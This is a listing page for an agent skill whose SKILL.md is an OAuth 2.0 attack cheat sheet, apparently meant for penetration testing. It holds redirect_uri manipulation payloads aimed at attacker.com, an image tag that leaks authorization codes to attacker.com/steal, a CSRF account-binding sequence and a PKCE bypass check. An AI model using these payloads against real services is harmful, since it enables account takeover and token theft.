Oauth
OAuth 2.0 attack methodology. Covers redirect_uri manipulation, state CSRF bypass, authorization code interception, implicit flow token theft, open redirect chaining, and PKCE bypass.From its SKILL.md
npx -y skills add sunilgentyala/OmniRed --skill oauthAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
2 things to look at
- no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.
- 1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its file declares
Copied from the file, not written here
The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
2.3 KB, 487 tokens by cl100k_base, as published. Nobody here has run it
OAuth 2.0 Attacks
Phase 1 — Recon
Map the OAuth flow: authorization endpoint, token endpoint, redirect URIs, scopes
Check for: state parameter presence, PKCE enforcement, redirect_uri validation strictness
Attack 1 — Redirect URI Manipulation
# If server does prefix matching only:
redirect_uri=https://client.com.attacker.com/callback
# If server allows subpaths:
redirect_uri=https://client.com/callback/../attacker-path
# If server allows ports:
redirect_uri=https://client.com:8080/callback
# If regex is used:
redirect_uri=https://attacker.comclient.com/callback
redirect_uri=https://[email protected]/callback
Attack 2 — State Parameter CSRF
If no state parameter (or predictable state):
1. Attacker crafts an authorization URL without state
2. Sends it to victim
3. Victim clicks, logs in, gets redirected with `code`
4. Attacker uses the code (via CSRF injection) to bind attacker's account
5. Result: attacker logs in as victim
Attack 3 — Authorization Code Interception
Via Referer header:
<!-- On a page with a third-party resource: -->
<img src="https://attacker.com/steal">
<!-- If victim visits the redirect page, Referer header sends the code to attacker -->
Via open redirect:
redirect_uri=https://client.com/redirect?url=https://attacker.com
Attack 4 — Implicit Flow Token Theft
# In implicit flow, access_token appears in URL fragment (#)
# If the app passes it to a third-party analytics/CDN script:
document.referrer / window.location.hash → token leaked to third party
Attack 5 — PKCE Bypass
If PKCE is implemented but code_verifier is not validated server-side:
Send authorization request with any code_challenge
Exchange with any code_verifier
→ If server accepts, PKCE is cosmetic
Tools
- Burp Suite — intercept and modify OAuth flows
- oauth-scan — automated OAuth testing
OWASP Mapping
- A07:2021 — Identification and Authentication Failures
What ships with it
Read from the repository
Just SKILL.md. No reference files, no scripts.